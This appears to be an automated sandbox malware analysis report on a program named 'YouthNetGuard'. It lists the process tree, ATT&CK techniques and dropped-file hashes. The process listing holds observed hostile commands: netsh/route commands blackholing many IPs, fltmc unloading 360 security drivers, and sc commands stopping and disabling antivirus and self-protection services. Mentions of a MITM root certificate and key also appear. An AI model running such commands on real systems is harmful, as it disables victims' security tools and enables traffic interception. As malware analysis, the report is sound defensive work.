  PID:1340
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 36.51.224.126
  2⤵
  PID:4224
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 36.51.224.126 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3284
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.33.5.156 255.255.255.255
  2⤵
  PID:2352
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.33.5.156
  2⤵
  PID:4128
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.33.5.156 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:744
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.155 255.255.255.255
  2⤵
  PID:3236
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.155
  2⤵
  PID:4732
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.155 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:6032
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.162 255.255.255.255
  2⤵
  PID:1684
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.162
  2⤵
  PID:2068
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.162 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2868
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.167 255.255.255.255
  2⤵
  PID:1472
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.167
  2⤵
  PID:1836
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.167 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2636
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5728
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.168 255.255.255.255
  2⤵
  PID:5040
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.168
  2⤵
  PID:3968
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.168 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4448
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.183 255.255.255.255
  2⤵
  PID:5932
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.183
  2⤵
  PID:612
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.183 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4888
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.184 255.255.255.255
  2⤵
  PID:2588
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.184
  2⤵
  PID:6008
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1904
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.184 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3628
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.185 255.255.255.255
  2⤵
  PID:2768
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.185
  2⤵
  PID:5744
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.185 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3400
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.214 255.255.255.255
  2⤵
  PID:2488
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.214
  2⤵
  PID:1148
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.214 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4720
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.219 255.255.255.255
  2⤵
  PID:5020
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1716
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.219
  2⤵
  PID:5180
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.219 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4488
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.229 255.255.255.255
  2⤵
  PID:4680
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.229
  2⤵
  PID:4216
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.229 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1084
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 43.153.60.128 255.255.255.255
  2⤵
  PID:1644
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 43.153.60.128
  2⤵
  PID:4624
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 43.153.60.128 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4148
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 43.230.72.70 255.255.255.255
  2⤵
  PID:3460
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 43.230.72.70
  2⤵
  PID:3396
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 43.230.72.70 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2316
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 45.124.78.109 255.255.255.255
  2⤵
  PID:2352
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 45.124.78.109
  2⤵
  PID:1056
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 45.124.78.109 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5464
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 45.207.209.119 255.255.255.255
  2⤵
  PID:3236
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 45.207.209.119
  2⤵
  PID:5368
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 45.207.209.119 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4812
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 47.242.204.9 255.255.255.255
  2⤵
  PID:5972
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 47.242.204.9
  2⤵
  PID:2924
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 47.242.204.9 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2580
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 49.7.37.74 255.255.255.255
  2⤵
  PID:4156
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 49.7.37.74
  2⤵
  PID:564
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 49.7.37.74 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4640
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 49.7.37.75 255.255.255.255
  2⤵
  PID:5912
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 49.7.37.75
  2⤵
  PID:4448
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 49.7.37.75 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1080
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 57.129.110.99 255.255.255.255
  2⤵
  PID:5932
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 57.129.110.99
  2⤵
  PID:4888
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 57.129.110.99 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3540
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 64.90.17.187 255.255.255.255
  2⤵
  PID:4916
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 64.90.17.187
  2⤵
  PID:3628
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 64.90.17.187 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5092
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 94.154.43.128 255.255.255.255
  2⤵
  PID:3416
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 94.154.43.128
  2⤵
  PID:908
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 94.154.43.128 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2668
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 94.154.43.8 255.255.255.255
  2⤵
  PID:2292

C:\Windows\system32\pacjsworker.exe
C:\Windows\system32\pacjsworker.exe dfd96d5d-15f6-4725-9af6-6b52acd90738 647287a3-e922-4bdd-9a13-e0a372a22ad2
1⤵
PID:5660

C:\Program Files\YouthNetGuard\WpnPlatformHost.exe
"C:\Program Files\YouthNetGuard\WpnPlatformHost.exe" --base "C:\Program Files\YouthNetGuard" --um "C:\Program Files\YouthNetGuard"
1⤵
PID:1316

C:\Program Files\YouthNetGuard\WpnPlatformHost.exe
"C:\Program Files\YouthNetGuard\WpnPlatformHost.exe" --heal --quiet --base "C:\Program Files\YouthNetGuard" --um "C:\Program Files\YouthNetGuard"
1⤵
PID:4468
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360AntiSteal
  2⤵
  PID:3652
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360Box64
  2⤵
  PID:2112
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:264
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360FsFlt
  2⤵
  PID:4988
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360qpesv
  2⤵
  PID:5732
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360AvFlt
  2⤵
  PID:3852
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload DsArk
  2⤵
  PID:4812
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360Sensor
  2⤵
  PID:5048
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360Sensor64
  2⤵
  PID:3836
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop ZhuDongFangYu
  2⤵
  - Launches sc.exe
  PID:4960
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config ZhuDongFangYu start= disabled
  2⤵
  - Launches sc.exe
  PID:2924
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2736
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop Zhudongfangyu
  2⤵
  PID:3264
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config Zhudongfangyu start= disabled
  2⤵
  - Launches sc.exe
  PID:2856
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360rp
  2⤵
  - Launches sc.exe
  PID:904
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360rp start= disabled
  2⤵
  PID:4872
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop Q360AMPPL
  2⤵
  - Launches sc.exe
  PID:4188
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config Q360AMPPL start= disabled
  2⤵
  - Launches sc.exe
  PID:4260
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop dsmainsrv
  2⤵
  - Launches sc.exe
  PID:2768
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config dsmainsrv start= disabled
  2⤵
  - Launches sc.exe
  PID:4212
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop DsArk
  2⤵
  - Launches sc.exe
  PID:3444
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config DsArk start= disabled
  2⤵
  PID:2692
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360FsFlt
  2⤵
  - Launches sc.exe
  PID:5488
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360FsFlt start= disabled
  2⤵
  - Launches sc.exe
  PID:2584
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AvFlt
  2⤵
  PID:4800
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2496
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AvFlt start= disabled
  2⤵
  - Launches sc.exe
  PID:5164
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Box64
  2⤵
  PID:4972
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Box64 start= disabled
  2⤵
  PID:2760
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiSteal
  2⤵
  - Launches sc.exe
  PID:3976
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiSteal start= disabled
  2⤵
  - Launches sc.exe
  PID:2304
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiAttack
  2⤵
  - Launches sc.exe
  PID:2036
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiAttack start= disabled
  2⤵
  PID:5056
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiHacker
  2⤵
  PID:5240
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiHacker start= disabled
  2⤵
  - Launches sc.exe
  PID:4752
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiHijack
  2⤵
  - Launches sc.exe
  PID:5000
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiHijack start= disabled
  2⤵
  - Launches sc.exe
  PID:2432
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiExploit
  2⤵
  - Launches sc.exe
  PID:1296
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiExploit start= disabled
  2⤵
  PID:836
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360SelfProtection
  2⤵
  - Launches sc.exe
  PID:820
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360SelfProtection start= disabled
  2⤵
  - Launches sc.exe
  PID:3560
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360qpesv
  2⤵
  - Launches sc.exe
  PID:2844
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360qpesv start= disabled
  2⤵
  - Launches sc.exe
  PID:968
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6044
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Sensor
  2⤵
  PID:1904
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Sensor start= disabled
  2⤵
  - Launches sc.exe
  PID:3316
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360netmon
  2⤵
  - Launches sc.exe
  PID:5620
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360netmon start= disabled
  2⤵
  - Launches sc.exe
  PID:1524
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4760
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Hvm
  2⤵
  - Launches sc.exe
  PID:2652
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Hvm start= disabled
  2⤵
  PID:4628
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360elam64
  2⤵
  - Launches sc.exe
  PID:4396
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360elam64 start= disabled
  2⤵
  - Launches sc.exe
  PID:2848
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1276
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360CactusNet
  2⤵
  - Launches sc.exe
  PID:1592
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360CactusNet start= disabled
  2⤵
  PID:3096
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Camera
  2⤵
  PID:204
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Camera start= disabled
  2⤵
  - Launches sc.exe
  PID:2784

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

parent-ca.cer

Path C:\Program Files\YouthNetGuard\certs\parent-ca.cer
Size 791B
SHA256 8f634848f269333bab941b30f89a36376f2b8e3b2edc7d84ff38409f4d9470b7
MD5 ea23df36feaa88f665b2e108e3c68d9f
SHA1 ddd35aae9cfc7b7cfb1e40ded919a9db5d3616c7
SHA512 26512f2ce6dceb4335b12179e2fee585f10a450525ef5ee3297195c0d811d85f988645a91ffd6f4ba8b7cd4c030e273c88c47d3d93c37105f083d588c3338e36
TLSH
T13101468E7A2A683D34525A615F1839B38DF6D750209051259462861EC6407E82D7D0FC
MD5 SHA1 SHA512 TLSH

Submit Download

device_id.txt

Path C:\ProgramData\YngRuntime\device_id.txt
Size 32B
SHA256 1206f45a831d2e9a1908bc604c9c04409d2207d80eae71584f6835c037a527ae
MD5 05bcae87b86a8ab958ba30cb056df75a
SHA1 fc933a975b519cbc0e9dd07bb809f1da4786fb03
SHA512 fbdb6ffad0e9c688a1be6c14cbdda027a0a304f7d926057edd1649d3e260e976b30f64ff1406c288523c58af907afa4ec3526c73cb56a0a429fc304913a93816
MD5 SHA1 SHA512

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 416B
SHA256 697307a05bcdc8634faa0fc28827f3280f58bf528ad79f93fe5b6b9994f4ae24
MD5 5c151bda548021aa0403a493624385e5
SHA1 36ec67a31a3dcd716ac5a2b3e40c2b5308226c52
SHA512 562bcd709ba87ee316163e78f10cfd14617626676bf74ddf2f00c66aa0899eaf0d042be368451cc3d5d624069b174a837f89debed2830a600a6c727db4ff2107
TLSH
T1AEE0E58CCBFD9055BE43C09EF6291E6FD797B808956C1062B770001947C2805992CBB5
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 482B
SHA256 8bf2c573cbc3ae0e48675eb7ed18a1cfc2ea3bb0467b32522a8ed6429d0254c3
MD5 7231fede65cbbb51a27dbf3f75e00dee
SHA1 634e7051e30275af2f6bf6a22ff15046ce7a9f62
SHA512 407ad6de47cbf914801799d6ac8171a8538f295cbf273153d5154b3091f9794ba7e5c7058796052c6c435c94b29beb8cf5f494a39221eb33c79001fa09852ec7
TLSH
T107F0E28CCBFC8055BE43D0AEFA291E6FDB87B80895281032B770001A47C2808992CBB9
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 793B
SHA256 59201816ecfb147acb9beca59fec33debb9daefbed8667bb69c31a6176f1ec89
MD5 cf1838d5a2ac806886bf923b9a0903a4
SHA1 ca82ab3f6ed8c0c7a4b8b969be506d5670296423
SHA512 5e0b487575d7b5061d8d3743207efe7154dc1c4cb651859a15bf6e439244780bcfa6dc86d1835a089ced5522853ae12f8879597ad2c4e282d851ac7160c5e788
TLSH
T10901A58CDBFC8445BE47D06DEA291E6FDB43B808A5181133BB74015687D2809AD29BB9
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 925B
SHA256 e9f68d31c6a08758021bdb4b3cbe14061c487514c4406bc2b9295d051824448f
MD5 e1e0f70f08295ff1bd1beb74757b951a
SHA1 b3cf825ecd0c63030711dcd415338482bbd5e1f8
SHA512 3748ebbf0c85d6aaba1f3883c86480a26a5dbb53d8be300893822e6e5c51fb7706b5400c2f7de20394764482687ef6beb85732541543ec6dd655fe6309a661f2
TLSH
T18211818CDBFC8445BE47E06DEA291D6FDF42B808A9181123BB74015387D280CAD29BB9
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 991B
SHA256 e83e31eaa0155c0bee0491fb17d10ab2c1d14aa71a22d01bd337a5381f9c7e1b
MD5 d5632875ef5217e2d1cbcb9e854425ee
SHA1 86af92b24b99c6a028a2ec15e8a1d42868d587ee
SHA512 602a5a31415c57229272c1f8f409a2d77eeea151a9b6971639060e9e2898cf5f22b7bad7a6df9c0c420550d507569f87080fe47bcd36bf97c7ba5fe97e63b369
TLSH
T11611938CDBFC8445FE47E02DEA291D7FDF42B808A9181123BB74015387C280CAD29BB9
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 1KB
SHA256 bae50a49019356ddb53da7d323bbfaaa8c386aed96a3df6eda90abd7b370dc7c
MD5 c8910fb8dd32846d029498fb0a3127c0
SHA1 4de3b3137f79ceb4221ff579f85afa7e9991a931
SHA512 2af0fbf2fd3412efe4924c2b629dc6de4d92d2ec6c3a4291a6d6da59a7ad3404f95ff0dd5becb5a094fdc3a501420da113219d3625bb699c79826d2d50f6953a
TLSH
T1502132C8DBFC8445FE47E02DEA191D7FDF42B808A9181123BB7551528BC680CAD29BB9
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 1KB
SHA256 835b259c67a00b3d7695e010e100c085ebf59499a894ebb6aa10ad5f5ca8f94c
MD5 46347d36a22dd4e8433eff7057d929e1
SHA1 bfb1ec7646c29fb0e057cc41e37bddfa4030519c
SHA512 cee263b0a6c711c7aeb25a2ba354eeac5a99d177bad6e11e96c4c9ccda948e32d1076dfe7a629326c93a6d917d48e626dd8f53544b0ab7b4d67d5d0b025167ec
TLSH
T1702121C8DBFC8445FE47E03DEA191D7FDF42B808A9181123BB7551528BC680CAD29BB9
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 1KB
SHA256 ed9b33748749b89b9ffea5121cfe95120c0bde7bffbf781a028cabf58f553d55
MD5 41eedb9666b12d0adf68ee67a34720af
SHA1 71f06b0e9b9b4ae622ec9515e471dbf76f303d37
SHA512 51356f6db2d9297d9e4f61bee9982c95c016a4c760c124bd2a65e01714e0d8dc418831b24f8e6d2e79e6b84a6101cb4ca726c59f70903dc1171cb5d7fd0b58f9
TLSH
T1D7215488DBFC8445FF47E02DE9291D7FDF42B808A5181122BB7551568BC680CAD29BB9
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 1KB
SHA256 44045efa92d69a73297ee48ffb6c235f6e63dadf53bcfbb2e4599be6444401c7
MD5 1029f0529af5d1ae42a8da4d26c8ade3
SHA1 fa26c28e95afaee7680c8b0feb5c29ff7bf2f036
SHA512 bb66a191fd0d4374d023b4ddba80ed72ebe7a7a295598f4c93fdb0cac24e92831ec36e2f74d56ca91a8bead50f326000f37c3b924b35d7e0aa6cdd7bdc6ec56c
TLSH
T1C121A488DBFC8445BF47E02DE9291D7FDF42B80865181022BB7541568BC680CAD29BB9
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 1KB
SHA256 ec4ded7157403d7a0cbf6cb611de0bb41e031feab2cb7123fd1587d348d1aad9
MD5 e400bec3deed49ec0bd95c0d754c61e9
SHA1 d42aa96c814b5219e8b5b2f07bc40f95d3eadd15
SHA512 502125faafc46be717ea95e4d432403c1f3417845f06c340b7c12c00bc75a683205e57530e249a5a967a4a9c3d534701012fdca5dc7449404d0649ec92feebc4
TLSH
T1EC31F888DBFC8085BF47E02DF9291D7FDF43B80865581136BB7541568BC680CAD19BB8
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 1KB
SHA256 5fca73f9790d70f401e8fdab76c5ad1be56a06f6ac3c762c547ec450b4e3c535
MD5 8617772b841622821f0c90ca58a1b84d
SHA1 44679e920fce590429169b9278acde9738f3d010
SHA512 cd8fada71e1f4cc243699a48357b0cf0a86040471682c9597852be2311004534b5ab1a9e2875b9430991faec7c6f7abb29e17fb8876346596e122a3acd7dfa2c
TLSH
T15B410888DBFC8085BF47E02DF92A1E6FDF43B804A5581132BBB541428BC640CAD25F79
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 1KB
SHA256 f05a79d2f0ab65642d2d0806eef4179409522d9b605e50210754e70b494bb17b
MD5 e9771508575e33a7f5b4f44a5fa33940
SHA1 2c5351af1c17376d98cc8d79106f37a3c1b6d3d3
SHA512 5d51baa3c34b800df43debc3629cece24d1f20ce05650f7d58b7e582aee7a28ff49bb4e26fdb8487662cd640060998827ea11fd5fd5bbcbd975e5dcf4636f264
TLSH
T14841F888DBFD4085BF47E02EF92A1E6FDF47B804A5581132B7B541428BC640CAD15F79
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 313B
SHA256 3c7c45a8ec849ef21bac3533949c47f2358662bed849f9327fea3b4f754651de
MD5 cc039653c198de0a74996fa73051fb5f
SHA1 4a3b1e5b8bf659a165f8d6aba709b2c5a7b552f3
SHA512 98050bfc365890e513e6aa9b3c903feca780f7813f9d6cde22b14b88cfc9148408f981ec2d4ac8653fe917e9670230c74e127380f53b5d9b71b4f2b2dd0493e9
TLSH
T102E07D448BFC8406BF03D0A8EA291D9FCB477808982C1073F770002943C2C049D1CBB8
MD5 SHA1 SHA512 TLSH

Submit Download

ca.crt.pem.tmp

Path C:\ProgramData\YngRuntime\mitm\ca.crt.pem.tmp
Size 1KB
SHA256 c0f21d6d5fd9786d764332ad3cba17e475973ff010caf5116ea43495fc3bd9ec
MD5 1e7be881af4154118294a568cfd920e2
SHA1 d25b2f8f79879810c838f5da02b3a73f000e962f
SHA512 89431f9a0e1211e277162550b269a470489b9d340557b11c3b24d29bcabfddca08b39391df0196902e4af30abce4f69bbd6f3915c97fb7c4b79d149b215503e7
TLSH
T13421CAC595203C2C0EFDD39AB495D35E52F3D1A40FCA60A94B9A1454D72405D02AC904
MD5 SHA1 SHA512 TLSH

Submit Download

ca.key.pem.tmp

Path C:\ProgramData\YngRuntime\mitm\ca.key.pem.tmp
Size 1KB
SHA256 3c49a662505321bf0e0445c3efa61da2cd173fcc8f5c260324183c3626b22303
MD5 295dd0cf71637a14cb78ddfa416a437c
SHA1 590d1bcf83303896f59a03d3a00a2e205d9aaead
SHA512 54c44452f5149f9a134e5705a89ce1990de34240fa066b1dd5399ebba88287202a5b425919bf8846609161fb1ca0acd3d0f24a5c3325e509ef661c0e5f46162e
TLSH
T1A231D8501568FA364A0BC4D9EA4B27AEC4E0EF9BAFD428A98B0F21722120095057E25A
MD5 SHA1 SHA512 TLSH

Submit Download

parent_ca.thumb.tmp

